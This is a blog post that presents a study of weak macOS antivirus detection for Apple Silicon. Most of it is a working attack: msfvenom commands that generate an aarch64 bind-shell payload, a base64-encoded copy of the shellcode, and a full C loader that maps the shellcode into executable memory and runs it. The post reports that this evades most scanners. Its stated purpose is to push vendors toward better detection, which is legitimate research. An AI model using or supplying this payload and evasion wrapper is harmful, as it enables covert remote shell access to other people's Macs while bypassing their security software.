Obfuscating macOS Payloads targeting Apple Silicon

Share This Post

Why?

This is a study regarding the state of macOS Security Solutions and their lack of ability to defend against payloads targeting the native M1/M2/M3/M4 (Apple Silicon) architecture.

It’s a wake-up call for macOS Antivirus providers to implement better heuristics.

How?

Using msfvenom from the Metasploit framework we create a native shell_bind_tcp for aarch64 payload.

To achieve this we use the command:

msfvenom -p osx/aarch64/shell_bind_tcp LPORT=4444 -f macho > shell-payload-aarch64-noenc

Next, we scan it and arrive at the conclusion most security solutions for macOS do not identify this malware.

As can be seen here: VirusTotal Scan of Unencoded Payload

At the time of publishing this article, users of Bitdefender, ESET, MacPaw’s Moonlock (tested separately), Kaspersky and several more are unprotected to the most trivial unaltered payload targeting Apple Silicon macOS.

It gets worse

As was seen from the scan above, less than 20% of macOS security solutions detect the malware.

We can encode the payload using base64 

First, we export the payload using msfvenom as raw

msfvenom -p osx/aarch64/shell_bind_tcp LPORT=4444 -f raw > payload

Next, we encode it base64

base64 -w0 payload 

And finally we write the simplest wrapper for our payload

				
					#include <stdio.h>
#include <stdlib.h>
#include "base64.h"
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Output of base64 -w0 payload
char* payload = "QACA0iEAgNICAIDSEECg0jAMgPIBAADU7QMAqiH4f9MhgqvyAQDA8gEA4PLhjx/44QMAkSEAAosCAoDSEECg0hANgPIBAADU4AMNqgEAgNIQQKDSUA2A8gEAANTgAw2qAQCA0gIAgNIQQKDS0AOA8gEAANTtAwCqEECg0lALgPLgAw2qAQCA0gEAANTgAw2qIQCA0gEAANTgAw2qQQCA0gEAANQQQKDScAeA8ukDAJHgRYzSIM2t8uBlzvIADeDyIIUA+OADCaoAIADR4QMJqiEgANEhhQD4P4UA+OEDCaohQADR4gMfqgEAANQ=";


int main()
{
    // base64 library from https://github.com/elzoughby/Base64
	char* decoded = base64_decode(payload);
	// Allocate memory using mmap. The memory is initially readable and writable.
	size_t output_length = strlen(payload)*3/4;
	unsigned char *exec_memory = mmap(NULL, output_length, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	
	// Copy decoded payload to allocated memory
	memcpy(exec_memory, decoded, output_length);

	// Now make the memory executable using mprotect
    mprotect(exec_memory, output_length, PROT_READ | PROT_EXEC);
  
	// Create a function pointer to the start of the executable code in memory
	void (*exec_func)() = (void (*)())exec_memory;
    
	// Call the function (execute the payload)
	exec_func();

	// Clean up (although, in many cases, the program will have exited by now)
	munmap(exec_memory, output_length);
	free(decoded);

	return 0;
}
				
			

We compile and put it on a macOS VM, and we gain access.

Now let’s scan our base64 wrapped version

That was easy! Too easy.

Conclusions

These conclusions can be drawn:

  1. Using a known payload (osx/aarch64/shell_bind_tcp), only a few macOS Antiviruses detect it
  2. Relying on macOS’ built-in protection (XProtect) is INSUFFICIENT.
  3. Security solution providers should invest more in detection of 0-day malware targeted at macOS computers. 
  4. Always use caution and DO NOT run unsigned apps / code or programs of unknown origin. Macs are not immune. Any malicious actor could embed such a payload into an app.

What about x86?

Fortunately, macOS security providers have adequate defenses against x86 versions of shell_bind_tcp and meterpreter, being detected by most providers, but with sufficient wrapping these theoretically could be obfuscated too, that however is not the objective of this study.

More To Explore

Uncategorized

Happy New Year

ioanm.ro wishes you All The Best in the New Year.